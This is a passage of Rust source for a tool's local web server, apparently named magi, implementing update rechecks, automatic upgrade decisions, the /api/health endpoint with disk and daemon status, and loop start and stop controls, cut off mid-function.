2678/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2679/// is already the newest" from "never checked" - both are `None` - and the
2680/// phone needs to tell those apart to decide whether the deck can be trusted
2681/// to have an opinion at all.
2682#[derive(Debug, Clone, Serialize)]
2683struct UpdateView {
2684    /// A newer release is known to exist.
2685    available: bool,
2686    /// Its tag, when `available`.
2687    to: Option<String>,
2688}
2689
2690/// [`updater::Progress`] as `/api/health` reports it.
2691#[derive(Debug, Serialize)]
2692struct UpgradeProgressView {
2693    trigger: updater::UpgradeTrigger,
2694    stage: updater::Stage,
2695    from: String,
2696    to: Option<String>,
2697    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2698    /// the step it is finishing before the address is handed over.
2699    waiting_on: Option<String>,
2700    started_at: Timestamp,
2701    updated_at: Timestamp,
2702    detail: Option<String>,
2703    /// Seconds the stage has outlived its allowance, when it has - see
2704    /// [`updater::stall`]. `null` while the stage is moving normally.
2705    stuck_for_secs: Option<i64>,
2706    /// Which kind of stuck: `never_entered` (hand_over left no record of
2707    /// starting) or `stopped_beating`. `null` when not stuck.
2708    stuck_kind: Option<updater::StallKind>,
2709    /// `hand_over` is alive and waiting on the loop: however long that takes,
2710    /// it is not an overdue upgrade.
2711    handover_alive: bool,
2712}
2713
2714/// Whether [`run_update_recheck`] may act at all this tick.
2715///
2716/// The same two conditions [`updater::Checker::new`] and
2717/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2718/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2719/// GitHub from this process" - on a button press or on a timer alike.
2720fn should_spawn_recheck(cfg: &Update) -> bool {
2721    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2722}
2723
2724/// Whether this tick should actually reach the network, once checking itself
2725/// is allowed.
2726///
2727/// An upgrade already in flight must not be raced by a check that discovers
2728/// a *newer* release while one is still installing - a phone watching
2729/// `/api/health` would see the answer change out from under the upgrade it
2730/// already asked for. Past that, [`updater::Checker::should_check`] is the
2731/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2732/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2733/// polling period, is what keeps this task's network use to at most once per
2734/// `[update] interval` regardless of how often it wakes up.
2735fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2736    if progress.is_some_and(|p| !p.stage.terminal()) {
2737        return false;
2738    }
2739    checker.should_check()
2740}
2741
2742/// How long [`run_update_recheck`] sleeps before its next wake-up.
2743///
2744/// A fraction of the configured `[update] interval` rather than a fixed
2745/// number: a fixed sleep longer than a short custom interval would leave the
2746/// deck waiting on its own wake-up rather than on `should_check`, so an
2747/// operator who set `interval = "1m"` to make the UI catch up quickly would
2748/// not see that take effect until the next restart - exactly the bug this
2749/// task exists to fix, just moved one level down. Scaling with the interval
2750/// keeps the wake-up prompt relative to what was actually configured, while
2751/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2752/// still what caps the network calls themselves at one per interval,
2753/// regardless of how often this fires.
2754fn recheck_poll_period(cfg: &Update) -> Duration {
2755    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2756}
2757
2758#[derive(Debug, PartialEq, Eq)]
2759enum AutoUpgradeDecision {
2760    Skip(&'static str),
2761    Trigger,
2762}
2763
2764fn auto_upgrade_decision(
2765    cfg: &Update,
2766    disabled: bool,
2767    in_motion: bool,
2768    tag: &str,
2769    failed: Option<&str>,
2770) -> AutoUpgradeDecision {
2771    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2772        AutoUpgradeDecision::Skip("disabled")
2773    } else if in_motion {
2774        AutoUpgradeDecision::Skip("upgrade already in progress")
2775    } else if failed == Some(tag) {
2776        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2777    } else {
2778        AutoUpgradeDecision::Trigger
2779    }
2780}
2781
2782/// Refresh the shared cache and optionally request the same handover as the UI.
2783async fn run_update_recheck(ui: Arc<Ui>) {
2784    loop {
2785        tokio::time::sleep(update_recheck_once(&ui).await).await;
2786    }
2787}
2788
2789async fn update_recheck_once(ui: &Arc<Ui>) -> Duration {
2790    let cfg = match Config::discover(&ui.repo, None) {
2791        Ok((cfg, _)) => cfg,
2792        Err(e) => {
2793            updater::log_warn(
2794                &ui.home,
2795                &format!("auto-upgrade: config unavailable: {e:#}"),
2796            );
2797            return UPDATE_RECHECK_POLL_MAX;
2798        }
2799    };
2800    if should_spawn_recheck(&cfg.update)
2801        && let Some(checker) = updater::Checker::new(&cfg.update)
2802    {
2803        let progress = updater::read_progress(&ui.home);
2804        let mut latest = checker.cached_update();
2805        if update_recheck_due(&checker, progress.as_ref()) {
2806            match checker.newer_release().await {
2807                Ok(found) => latest = found,
2808                Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2809            }
2810        }
2811        if cfg.update.auto_restart
2812            && let Some(latest) = latest
2813        {
2814            let response = begin_upgrade(ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2815            updater::log_step(
2816                &ui.home,
2817                &format!("auto-upgrade: request status {}", response.status()),
2818            );
2819        }
2820    }
2821    recheck_poll_period(&cfg.update)
2822}
2823
2824/// [`UpdateView`] from the same throttled, disk-only state
2825/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2826/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2827/// no cached state at all, which is correct: an operator who turned checking
2828/// off gets no opinion, not a stale one.
2829fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2830    let default;
2831    let cfg = match cfg {
2832        Some(cfg) => cfg,
2833        None => {
2834            default = Config::default();
2835            &default
2836        }
2837    };
2838    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2839    match latest {
2840        Some(latest) => UpdateView {
2841            available: true,
2842            to: Some(latest.tag_name),
2843        },
2844        None => UpdateView {
2845            available: false,
2846            to: None,
2847        },
2848    }
2849}
2850
2851/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2852/// from the parked run's own state when the stage is
2853/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2854/// already on disk in `run.json`, so this reads them fresh rather than
2855/// trusting whatever was true the moment the park was requested.
2856fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2857    let now = Timestamp::now();
2858    let lease = updater::read_lease(&ui.home);
2859    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2860    let run_id = alive
2861        .and_then(|l| l.parked_run.as_deref())
2862        .or(progress.parked_run.as_deref());
2863    let parking = progress.stage == updater::Stage::Parking;
2864    let waited = alive.map_or_else(String::new, |l| {
2865        let secs = updater::waited_secs(l, now);
2866        format!(" (waited {} min so far)", secs / 60)
2867    });
2868    let run_text = run_id
2869        .filter(|_| parking)
2870        .map(|id| match read_run(&ui.runs, id).ok() {
2871            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2872            None => format!("run {id} is finishing"),
2873        });
2874    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2875        .filter(|t| parking && !t.is_empty())
2876        .map(|t| format!("{t} finishing"));
2877    let waiting_on = match (run_text, talks_text) {
2878        (None, None) => None,
2879        (run, talks) => {
2880            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2881            Some(format!(
2882                "{} before the address is handed over{waited}",
2883                parts.join(" and ")
2884            ))
2885        }
2886    };
2887    let detail = progress
2888        .detail
2889        .clone()
2890        .or_else(|| updater::read_note(&ui.home, &progress));
2891    let stalled = updater::stall(&progress, lease.as_ref(), now);
2892    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2893    UpgradeProgressView {
2894        trigger: progress.trigger,
2895        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2896        stuck_kind: stalled.map(|s| s.kind),
2897        handover_alive: alive.is_some(),
2898        stage: progress.stage,
2899        from: progress.from,
2900        to: progress.to,
2901        waiting_on,
2902        started_at: progress.started_at,
2903        updated_at: progress.updated_at,
2904        detail,
2905    }
2906}
2907
2908/// Last successful capacity observations, independent of admission/cleanup.
2909/// Cold or unavailable directory measurements are null, never invented zeros.
2910#[derive(Debug, Serialize)]
2911struct DiskView {
2912    /// Free bytes on the volume holding the runs, when measurable.
2913    #[serde(skip_serializing_if = "Option::is_none")]
2914    free_bytes: Option<u64>,
2915    /// Everything the runs directory occupies, when fully measurable.
2916    runs_bytes: Option<u64>,
2917    /// Everything the runs' worktrees occupy.
2918    worktrees_bytes: Option<u64>,
2919    /// The shared build cache's size, when the config names one.
2920    #[serde(skip_serializing_if = "Option::is_none")]
2921    cache_bytes: Option<u64>,
2922    /// Last bounded cleanup report, including retention and failure reasons.
2923    retention: Option<crate::retention::Report>,
2924}
2925
2926/// Capacity walks have their own demand-driven single flight, not the revision
2927/// worker: a large build cache must never delay revisions or a health response.
2928const DISK_REFRESH: Duration = Duration::from_secs(60);
2929
2930#[derive(Debug, Clone, PartialEq, Eq)]
2931struct DiskScope {
2932    runs: PathBuf,
2933    worktrees: PathBuf,
2934    cache: Option<PathBuf>,
2935}
2936
2937impl DiskScope {
2938    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2939        Self {
2940            runs: ui.runs.clone(),
2941            worktrees: ui.worktrees_root.clone(),
2942            cache: cfg.and_then(Config::cache_dir),
2943        }
2944    }
2945}
2946
2947#[derive(Debug, Clone, Copy, Default)]
2948struct DiskCapacity {
2949    free_bytes: Option<u64>,
2950    runs_bytes: Option<u64>,
2951    worktrees_bytes: Option<u64>,
2952    cache_bytes: Option<u64>,
2953}
2954
2955impl DiskCapacity {
2956    fn measure(scope: &DiskScope) -> Self {
2957        Self {
2958            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2959            runs_bytes: disk_capacity_size(&scope.runs),
2960            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2961            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2962        }
2963    }
2964
2965    fn retain_successes(&mut self, next: Self) {
2966        self.free_bytes = next.free_bytes.or(self.free_bytes);
2967        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2968        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2969        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2970    }
2971}
2972
2973/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2974/// best-effort total, an incomplete observation must not look like an empty tree.
2975fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2976    let metadata = match std::fs::symlink_metadata(path) {
2977        Ok(metadata) => metadata,
2978        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2979        Err(_) => return None,
2980    };
2981    if !metadata.is_dir() {
2982        return Some(if metadata.is_file() {
2983            metadata.len()
2984        } else {
2985            0
2986        });
2987    }
2988    let mut total = 0;
2989    let mut stack = vec![path.to_owned()];
2990    while let Some(dir) = stack.pop() {
2991        for entry in std::fs::read_dir(dir).ok()? {
2992            let entry = entry.ok()?;
2993            let metadata = entry.metadata().ok()?;
2994            if metadata.is_dir() {
2995                stack.push(entry.path());
2996            } else if metadata.is_file() {
2997                total += metadata.len();
2998            }
2999        }
3000    }
3001    Some(total)
3002}
3003
3004#[derive(Debug, Default)]
3005struct DiskObservation {
3006    scope: Option<DiskScope>,
3007    capacity: DiskCapacity,
3008    in_flight: bool,
3009    finished: Option<std::time::Instant>,
3010}
3011
3012impl DiskObservation {
3013    fn observe(
3014        state: &Arc<Mutex<Self>>,
3015        scope: DiskScope,
3016        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
3017    ) -> DiskCapacity {
3018        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
3019        if observation.scope.as_ref() != Some(&scope) {
3020            observation.scope = Some(scope.clone());
3021            observation.capacity = DiskCapacity::default();
3022            observation.finished = None;
3023        }
3024        let capacity = observation.capacity;
3025        if observation.in_flight
3026            || observation
3027                .finished
3028                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
3029        {
3030            return capacity;
3031        }
3032        observation.in_flight = true;
3033        drop(observation);
3034
3035        let refresh = DiskRefresh {
3036            state: Arc::clone(state),
3037            scope,
3038        };
3039        tokio::task::spawn_blocking(move || {
3040            let next = measure(&refresh.scope);
3041            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
3042            if observation.scope.as_ref() == Some(&refresh.scope) {
3043                observation.capacity.retain_successes(next);
3044            }
3045            drop(observation);
3046            // The guard also clears the flight on panic or a cancelled,
3047            // not-yet-started blocking job. No failed scan can wedge health.
3048            drop(refresh);
3049        });
3050        capacity
3051    }
3052}
3053
3054struct DiskRefresh {
3055    state: Arc<Mutex<DiskObservation>>,
3056    scope: DiskScope,
3057}
3058
3059impl Drop for DiskRefresh {
3060    fn drop(&mut self) {
3061        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
3062        observation.in_flight = false;
3063        if observation.scope.as_ref() == Some(&self.scope) {
3064            // Wait a full period after completion, including failed scans.
3065            observation.finished = Some(std::time::Instant::now());
3066        }
3067    }
3068}
3069
3070impl DiskView {
3071    /// Return immediately, retaining known capacity while one worker refreshes.
3072    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
3073        let capacity = DiskObservation::observe(
3074            &ui.monitor.disk,
3075            DiskScope::of(ui, cfg),
3076            DiskCapacity::measure,
3077        );
3078        Self::with_capacity(ui, capacity)
3079    }
3080
3081    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
3082        Self {
3083            free_bytes: crate::disk::free_bytes(&ui.runs)
3084                .ok()
3085                .or(capacity.free_bytes),
3086            runs_bytes: capacity.runs_bytes,
3087            worktrees_bytes: capacity.worktrees_bytes,
3088            cache_bytes: capacity.cache_bytes,
3089            retention: ui
3090                .runs
3091                .parent()
3092                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
3093                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
3094        }
3095    }
3096}
3097
3098/// The daemon's state as the UI presents it.
3099#[derive(Debug, Serialize)]
3100struct DaemonView {
3101    running: bool,
3102    idle: Option<bool>,
3103    dispatch_wait: Option<daemon::DispatchWait>,
3104    pid: Option<u32>,
3105    /// Every task and run currently in flight. Empty when idle; more than
3106    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
3107    /// run going at once.
3108    current: Vec<daemon::Current>,
3109    completed: Option<u64>,
3110    stale_for_secs: Option<i64>,
3111}
3112
3113impl DaemonView {
3114    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
3115    /// not this UI's — a crashed daemon must not look alive here while
3116    /// `doctor` calls it dead.
3117    fn of(status: Option<daemon::Reading>) -> Self {
3118        let Some(status) = status else {
3119            return Self {
3120                running: false,
3121                idle: None,
3122                dispatch_wait: None,
3123                pid: None,
3124                current: Vec::new(),
3125                completed: None,
3126                stale_for_secs: None,
3127            };
3128        };
3129        let now = Timestamp::now();
3130        let age = status.age_secs(now);
3131        Self {
3132            running: status.running(now),
3133            idle: Some(status.idle),
3134            dispatch_wait: status.dispatch_wait,
3135            pid: status.pid,
3136            current: status.current,
3137            completed: Some(status.completed),
3138            stale_for_secs: age,
3139        }
3140    }
3141}
3142
3143// Discover display configuration off the request path. Capacity measurement
3144// retains its separate single flight and scope/failure handling below.
3145fn refresh_health_config(ui: &Arc<Ui>) {
3146    let mut cache = ui
3147        .monitor
3148        .disk_cache
3149        .lock()
3150        .unwrap_or_else(PoisonError::into_inner);
3151    if cache.loading
3152        || cache
3153            .measured
3154            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3155    {
3156        return;
3157    }
3158    cache.loading = true;
3159    let weak = Arc::downgrade(ui);
3160    std::thread::spawn(move || {
3161        let Some(ui) = weak.upgrade() else { return };
3162        let cfg = deputy_config(&ui.repo);
3163        let update = cached_update_view(cfg.as_ref());
3164        let mut cache = ui
3165            .monitor
3166            .disk_cache
3167            .lock()
3168            .unwrap_or_else(PoisonError::into_inner);
3169        cache.config = cfg;
3170        cache.update = Some(update);
3171        cache.measured = Some(std::time::Instant::now());
3172        cache.loading = false;
3173    });
3174}
3175
3176fn health_counts(
3177    ui: &Ui,
3178    fallback_questions_rev: u64,
3179) -> ApiResult<(usize, usize, usize, u64, usize)> {
3180    let mut index = ui
3181        .monitor
3182        .health_index
3183        .lock()
3184        .unwrap_or_else(PoisonError::into_inner);
3185    let ids = run_ids(&ui.runs);
3186    let seen: HashSet<_> = ids.iter().cloned().collect();
3187    index.runs.retain(|id, _| seen.contains(id));
3188    let mut unreadable = 0;
3189    for id in ids {
3190        // Recheck identity on every request, including atomic replacements
3191        // with preserved length/mtime. A failed stat is never cached as good.
3192        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3193        let bad = match identity {
3194            Ok(identity) => {
3195                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3196                    let bad = read_run(&ui.runs, &id).is_err();
3197                    index.runs.insert(id.clone(), (identity, bad));
3198                    #[cfg(test)]
3199                    {
3200                        index.run_parses += 1;
3201                    }
3202                }
3203                index.runs[&id].1
3204            }
3205            Err(_) => true,
3206        };
3207        unreadable += usize::from(bad);
3208    }
3209    let questions_rev = try_stamps(ui.questions.root(), false, true)
3210        .map(|stamps| stamps_revision(&stamps))
3211        .unwrap_or(fallback_questions_rev);
3212    if index.questions.as_ref().is_none_or(|counts| {
3213        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3214    }) {
3215        let questions = ui.questions.list();
3216        index.questions = Some(QuestionCounts {
3217            revision: questions_rev,
3218            measured: std::time::Instant::now(),
3219            open: questions.iter().filter(|q| q.status.open()).count(),
3220            owner: questions
3221                .iter()
3222                .filter(|q| {
3223                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3224                })
3225                .count(),
3226        });
3227    }
3228    let notifications_rev =
3229        stamps_revision(&notice_and_decision_stamps(ui).map_err(anyhow::Error::from)?);
3230    if index
3231        .notices
3232        .is_none_or(|(rev, _)| rev != notifications_rev)
3233    {
3234        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3235    }
3236    let questions = index.questions.as_ref().unwrap();
3237    Ok((
3238        unreadable,
3239        questions.open,
3240        questions.owner,
3241        notifications_rev,
3242        index.notices.unwrap().1,
3243    ))
3244}
3245
3246async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3247    let revisions = ui.monitor.revisions(&ui).await?;
3248    refresh_health_config(&ui);
3249    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3250        // One read of the status file for the two fields that describe it, so
3251        // `daemon` and `loop` in the same answer cannot disagree about who is
3252        // running the loop.
3253        let reading = daemon::read_status(&ui.home);
3254        // Read on its own line, not inside the literal below: the loop's lock
3255        // is not reentrant, and a guard taken as a temporary there would still
3256        // be held when `loop_view` took it again.
3257        let loop_rev = ui.lock_loop().rev;
3258        let (
3259            runs_unreadable,
3260            questions_open,
3261            questions_needs_owner,
3262            notifications_rev,
3263            notifications_unread,
3264        ) = health_counts(&ui, revisions.2)?;
3265        let ((cfg, config_observed, sizes, measured), update) = {
3266            let cache = ui
3267                .monitor
3268                .disk_cache
3269                .lock()
3270                .unwrap_or_else(PoisonError::into_inner);
3271            (
3272                (
3273                    cache.config.clone(),
3274                    cache.measured.is_some(),
3275                    cache.disk.clone(),
3276                    cache.measured,
3277                ),
3278                cache.update.clone().unwrap_or(UpdateView {
3279                    available: false,
3280                    to: None,
3281                }),
3282            )
3283        };
3284        // Retain the base's capacity observation independently of config
3285        // refreshes. A cold config read may still be pending; an existing
3286        // capacity flight must remain visible to concurrent health requests.
3287        let prior_capacity = {
3288            let mut observation = ui
3289                .monitor
3290                .disk
3291                .lock()
3292                .unwrap_or_else(PoisonError::into_inner);
3293            // Adopt a completed size snapshot only before the scoped capacity
3294            // observer has started. Later scope changes remain its authority.
3295            if observation.scope.is_none()
3296                && let Some(sizes) = sizes
3297            {
3298                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3299                observation.capacity = DiskCapacity {
3300                    runs_bytes: Some(sizes.runs),
3301                    worktrees_bytes: Some(sizes.worktrees),
3302                    cache_bytes: sizes.cache,
3303                    free_bytes: None,
3304                };
3305                observation.finished = measured;
3306            }
3307            observation.scope.as_ref().map(|_| observation.capacity)
3308        };
3309        let disk = if config_observed {
3310            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3311        } else {
3312            serde_json::to_value(DiskView::with_capacity(
3313                &ui,
3314                prior_capacity.unwrap_or_default(),
3315            ))
3316            .ok()
3317        };
3318        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3319        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3320        #[cfg(not(test))]
3321        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3322        #[cfg(test)]
3323        let looping = ui.loop_view(reading.clone());
3324        Ok(Json(HealthView {
3325            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3326            version: env!("CARGO_PKG_VERSION"),
3327            home: ui.home.display().to_string(),
3328            queue_rev: revisions.0,
3329            runs_rev: revisions.1,
3330            questions_rev: revisions.2,
3331            talks_rev: revisions.3,
3332            notifications_rev,
3333            notifications_unread,
3334            loop_rev,
3335            runs_unreadable,
3336            questions_open,
3337            questions_needs_owner,
3338            daemon: DaemonView::of(reading.clone()),
3339            looping,
3340            disk,
3341            update,
3342            upgrade,
3343            upgrade_request_error: ui
3344                .upgrade_request_error
3345                .lock()
3346                .unwrap_or_else(PoisonError::into_inner)
3347                .clone(),
3348        }))
3349    })
3350    .await
3351}
3352
3353/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3354#[derive(Debug, Serialize)]
3355struct LoopView {
3356    /// A scheduler is running, independently of this web process.
3357    running: bool,
3358    /// The scheduler has been asked to stop scheduling new work.
3359    stopping: bool,
3360    /// An explicit operator park was requested, independently from updates.
3361    parking: bool,
3362    /// This scheduler supports durable controls from any web generation.
3363    owned: bool,
3364    /// Repository the loop uses for tasks that name none - what it was
3365    /// started with while it runs, and what a start would use before that.
3366    repo: String,
3367    /// Merge mode override in force, or `null` when each repository's own
3368    /// config decides.
3369    merge: Option<String>,
3370    /// Why the last loop in this process ended, when it ended badly.
3371    ///
3372    /// The only place a crashed loop is visible to someone holding a phone.
3373    /// It is logged at error level as well, but a terminal nobody kept open
3374    /// is not a report, and a loop that died at 3am must not read as merely
3375    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3376    /// answers the same question about the same kind of failure.
3377    last_error: Option<String>,
3378    /// The status file, judged the same way `/api/health` judges it: this is
3379    /// what says whether a loop is alive in some *other* process.
3380    daemon: DaemonView,
3381}
3382
3383/// A legacy embedded scheduler that this web process cannot control.
3384///
3385/// Worker-protocol schedulers use durable controls regardless of which process
3386/// started them. Older schedulers are identified by their foreign heartbeat.
3387#[derive(Debug, Clone, Copy)]
3388struct Foreign {
3389    /// The pid the other process published, when it published one.
3390    pid: Option<u32>,
3391}
3392
3393impl Foreign {
3394    /// Another process's live loop, or `None` when this process is free to
3395    /// run one.
3396    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3397        // A fresh heartbeat with no pid in it is still evidence of a live
3398        // daemon. "Some other process" is the honest answer, and refusing
3399        // to start beside it is the safe one.
3400        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3401            return None;
3402        }
3403        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3404    }
3405
3406    /// How a conflict names it. The pid is the whole point of the message: it
3407    /// is what the operator needs to find the terminal that owns the loop.
3408    fn who(&self) -> String {
3409        match self.pid {
3410            Some(pid) => format!("another magi process (pid {pid})"),
3411            None => "another magi process".to_owned(),
3412        }
3413    }
3414}
3415
3416/// How a loop is started, as a future this module can hold onto.
3417///
3418/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3419/// trait object or a hand-written `Debug` impl for the sake of one seam.
3420type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3421
3422#[cfg(test)]
3423type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3424
3425/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3426#[cfg(test)]
3427fn launch_daemon(
3428    opts: daemon::Opts,
3429    stop: daemon::Stop,
3430) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3431    Box::pin(daemon::serve_until(opts, stop))
3432}
3433
3434/// Local web-control revisions and errors, plus the unit-test launch seam.
3435#[derive(Debug, Default)]
3436struct LoopState {
3437    /// The loop, while there is one.
3438    #[cfg(test)]
3439    live: Option<Live>,
3440    /// Local control changes streamed as `loop_rev`; actual scheduler and
3441    /// execution ownership comes from durable status and OS-held worker leases.
3442    rev: u64,
3443    /// Why the last loop ended, when it ended badly. See
3444    /// [`LoopView::last_error`].
3445    last_error: Option<String>,
3446}
3447
3448/// A loop in flight.
3449#[cfg(test)]
3450#[derive(Debug)]
3451struct Live {
3452    /// The cooperative stop, shared with the loop task.
3453    stop: daemon::Stop,
3454    /// The task itself, kept only to answer whether it is still there: a loop
3455    /// that panicked never records its own end, and without this the view
3456    /// would go on reporting a loop that no longer exists - the one lie that
3457    /// would leave the operator with no button to press.
3458    handle: tokio::task::JoinHandle<()>,
3459    /// What the loop was started with, so the view reports the repository and
3460    /// merge mode its runs will actually use rather than what an edit to the
3461    /// config since would give.
3462    opts: daemon::Opts,
3463}
3464
3465#[cfg(test)]
3466impl Live {
3467    /// Is the task still there? See [`Live::handle`].
3468    fn alive(&self) -> bool {
3469        !self.handle.is_finished()
3470    }
3471}
3472
3473/// Take the loop lock, recovering from a poisoned one.
3474///
3475/// What this mutex holds is a stop flag, a task handle and two counters, none
3476/// of which a panic elsewhere can leave in a state worth refusing to read.
3477/// Propagating the poison instead would mean an operator who can see the loop
3478/// running and can no longer stop it from the only surface they have.
3479fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3480    state.lock().unwrap_or_else(PoisonError::into_inner)
3481}
3482
3483/// `GET /api/loop`.
3484async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3485    blocking(move || {
3486        let reading = daemon::read_status(&ui.home);
3487        #[cfg(not(test))]
3488        let view = ui.try_loop_view(reading)?;
3489        #[cfg(test)]
3490        let view = ui.loop_view(reading);
3491        Ok(Json(view))
3492    })
3493    .await
3494}
3495
3496/// The body of `POST /api/loop`.
3497///
3498/// One required field and nothing else: no `default` and no unknown fields,
3499/// so a body that fails to say which way the switch was flipped is a 400
3500/// rather than a tap that quietly does the opposite of what was pressed.
3501#[derive(Debug, Deserialize)]
3502#[serde(deny_unknown_fields)]
3503struct LoopCommand {
3504    running: bool,
3505    /// Stop the run in flight at its next node boundary rather than letting it
3506    /// finish.
3507    ///
3508    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3509    /// competition is tens of minutes of paid work and finishing it is
3510    /// normally the cheapest thing to do. A park is for the operator who
3511    /// wants the process gone now - to replace the binary, most of all - and
3512    /// it costs at most the node in progress because every node writes its
3513    /// state before the next one starts.
3514    #[serde(default)]
3515    park: bool,
3516}
3517
3518/// Start or control the detached scheduler without waiting for execution
3519/// workers. Only an explicit park asks workers to stop at a node boundary.
3520async fn loop_post(
3521    State(ui): State<Arc<Ui>>,
3522    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3523) -> ApiResult<Json<LoopView>> {
3524    // Taken as a `Result` so a malformed body is a 400 like every other route
3525    // here, rather than axum's default 422 that the UI has no branch for.
3526    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3527    #[cfg(not(test))]
3528    {
3529        if body.running {
3530            ui.start_detached_loop().await?;
3531        } else {
3532            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3533            ui.stop_loop(foreign, body.park)?;
3534        }
3535        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3536    }
3537    #[cfg(test)]
3538    {
3539        blocking(move || {
3540            let reading = daemon::read_status(&ui.home);
3541            let foreign = Foreign::of(reading.as_ref());
3542            if body.running {
3543                ui.start_loop(foreign)?;
3544            } else {
3545                ui.stop_loop(foreign, body.park)?;
3546            }
3547            Ok(Json(ui.loop_view(reading)))
3548        })
3549        .await
3550    }
3551}
3552
3553/// What `POST /api/upgrade` set in motion.
3554#[derive(Debug, Serialize)]
3555struct UpgradeView {
3556    /// The version this process is running.
3557    from: String,
3558    /// The release it is replacing itself with, when there is one.
3559    to: Option<String>,
3560    /// What the operator should expect to happen next.
3561    detail: String,
3562}
3563
3564/// The stage of an upgrade that is still moving, if the record says so.
3565/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3566fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3567    progress.filter(|p| !p.stage.terminal())
3568}
3569
3570/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3571/// Unknown diagnostics retain their complete message without guessing a delay.
3572fn upgrade_retry_after(message: &str) -> Option<u64> {
3573    if !message.contains("GitHub") || !message.contains("rate limit") {
3574        return None;
3575    }
3576    if message.contains("retry now") {
3577        return Some(0);
3578    }
3579    let duration = message
3580        .split_once("resets in ")
3581        .or_else(|| message.split_once("retry after "))?
3582        .1
3583        .split_once(')')?
3584        .0;
3585    let mut rest = duration.trim();
3586    if rest.is_empty() {
3587        return None;
3588    }
3589    let mut total = 0u64;
3590    while !rest.is_empty() {
3591        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3592        let amount: u64 = rest[..n].parse().ok()?;
3593        let scale = match rest[n..].chars().next()? {
3594            's' => 1,
